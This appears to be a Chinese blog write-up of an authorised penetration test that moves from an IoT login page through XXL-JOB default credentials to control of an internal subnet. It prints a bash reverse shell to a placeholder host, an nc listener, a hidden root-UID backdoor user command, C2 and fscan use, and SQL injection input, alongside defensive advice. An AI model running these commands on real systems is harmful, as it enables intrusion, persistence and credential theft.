ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

渗透测试实战:从登录封锁到内网横向漫游

渗透测试实战:从登录封锁到内网横向漫游

1. 渗透测试实战:从登录封锁到内网横向漫游

最近在一次授权渗透测试中,遇到一个相当有意思的案例。目标是一个IoT管理系统,从最初连登录界面都进不去,到最后几乎控制了整个C段网络。整个过程充满了戏剧性的转折,也暴露出很多常见的安全问题。下面我就详细记录下这次渗透的完整过程和技术细节。

2. 外网打点:突破登录封锁

2.1 初探目标系统

目标系统是一个典型的IoT设备管理平台,前端是一个标准的登录界面。这种系统通常会有几种常见漏洞:

  1. 已知框架漏洞(如Struts2、Spring等)
  2. 弱口令或默认凭证
  3. SQL注入等传统Web漏洞

我首先尝试了常规的渗透手法:

  • 搜索公开漏洞:无果
  • 尝试弱口令:admin/admin、admin/123456等常见组合
  • SQL注入测试:' or 1=1 -- 等常见payload

但系统直接返回了系统错误,连验证码接口都异常了。这种情况很可能是系统之前被攻击过,开发人员直接禁用了验证码功能作为"修复"措施。

2.2 突破思路与技巧

当常规方法失效时,我采取了以下步骤:

  1. 源码审计:查看HTML源码和JS文件,寻找隐藏接口或调试信息
  2. 目录扫描:使用ffuf工具扫描常见路径
    ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200
  3. 端口扫描:发现9090端口开放

经验分享:当Web应用正面难以突破时,端口扫描往往能发现管理后台、API接口等"旁路"入口。这也是为什么企业安全建设中,除了Web应用防火墙,还需要做好网络层的访问控制。

3. XXL-JOB漏洞利用

3.1 发现XXL-JOB系统

端口扫描发现的9090端口运行着XXL-JOB系统,这是一个开源的分布式任务调度平台。常见漏洞包括:

  1. Hessian2反序列化(<=2.0.2)
  2. 未授权访问(<=2.2.0)
  3. SSRF漏洞(<=2.3.1)

通过查看页面源码中的"admin_version"字段,确认版本是2.4.1,高于存在RCE漏洞的版本。

3.2 突破认证环节

虽然无法直接利用RCE漏洞,但XXL-JOB的默认凭证admin/123456成功登录。这提醒我们:

  1. 修改默认凭证是最基本的安全措施
  2. 即使系统本身没有漏洞,弱口令也是致命弱点

3.3 获取Shell

在XXL-JOB后台,可以通过创建定时任务执行系统命令:

  1. 新建任务,选择Shell模式
  2. 设置Cron表达式(如0 0 0 ?表示每天午夜执行)
  3. 写入反弹Shell命令:
    #!/bin/bash /bin/bash -i >& /dev/tcp/your_ip/port 0>&1
  4. 在VPS上监听对应端口:
    nc -lvvp port

成功获取到root权限的Shell,省去了提权步骤。

安全建议:任务调度系统应该严格限制可执行命令的范围,最好采用白名单机制。同时,这类系统不应该使用root权限运行。

4. 权限维持与内网渗透

4.1 建立持久化访问

为了防止失去访问权限,我做了以下权限维持措施:

  1. 创建隐藏用户:
    useradd -p `openssl passwd -1 -salt 'salt' password` system -o -u 0 -g root -G root -s /bin/bash -d /system
  2. 上传C2客户端,建立持久通道

4.2 内网信息收集

获取到Shell后,进行了全面的信息收集:

  1. 系统信息:
    uname -a cat /etc/*-release free -h df -h
  2. 网络信息:
    ifconfig netstat -tulnp arp -a
  3. 进程和服务:
    ps aux systemctl list-units --type=service

发现系统运行了多个Docker容器,包括MySQL等服务。

4.3 数据库渗透

通过Docker直接访问MySQL:

docker exec -it mysql_container mysql -uroot -p

或者在docker-compose.yml中找到数据库密码后,尝试密码复用,成功获取多个数据库权限。

5. 内网横向移动

5.1 网络扫描

上传免杀版的fscan工具扫描内网:

./fscan -h 192.168.1.1/24

发现大量主机开放了XXL-JOB服务,且都使用默认凭证admin/123456。

5.2 批量获取权限

通过脚本批量登录这些XXL-JOB系统,创建定时任务反弹Shell,几乎控制了整个C段的主机。

渗透经验:内网中经常存在配置相同的系统,一旦突破一个,往往可以复制相同手法攻陷其他系统。这凸显了配置管理和凭证管理的重要性。

6. 获取的各种权限与数据

在整个渗透过程中,获取了以下系统的权限和敏感数据:

  1. 数据库系统:

    • MySQL多个实例
    • Redis未授权访问
    • Elasticsearch
  2. 消息队列:

    • Kafka
    • RocketMQ
    • Zookeeper
  3. 云服务凭证:

    • 阿里云OSS AK/SK
    • 百度地图API Key
    • 短信平台凭证
  4. IoT设备:

    • 设备管理API密钥
    • 设备控制权限

7. 安全建议与防御措施

基于这次渗透暴露的问题,建议企业采取以下安全措施:

7.1 基础安全加固

  1. 修改所有默认凭证
  2. 及时更新系统和组件补丁
  3. 最小权限原则,避免使用root权限运行应用

7.2 网络隔离

  1. 管理后台不应直接暴露在公网
  2. 重要系统应部署在网络隔离区域
  3. 实施严格的网络访问控制策略

7.3 监控与审计

  1. 部署日志审计系统,监控异常登录行为
  2. 对特权操作进行记录和复核
  3. 定期进行安全评估和渗透测试

8. 渗透测试中的实用技巧

在这次渗透中,有几个特别实用的技巧值得分享:

  1. 当验证码失效时:这可能意味着系统存在安全问题,值得深入探查
  2. 端口扫描的价值:不要局限于Web应用,其他开放端口可能提供突破点
  3. 默认凭证的威力:永远不要低估默认凭证的危害
  4. 内网横向的捷径:相似系统往往使用相同配置,突破一个可能意味着突破一片

最后需要强调的是,本文所有测试均在合法授权范围内进行。安全研究的目的在于发现问题、解决问题,而不是实施攻击。希望这个案例能帮助大家更好地理解企业网络面临的安全风险,并采取有效措施进行防护。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进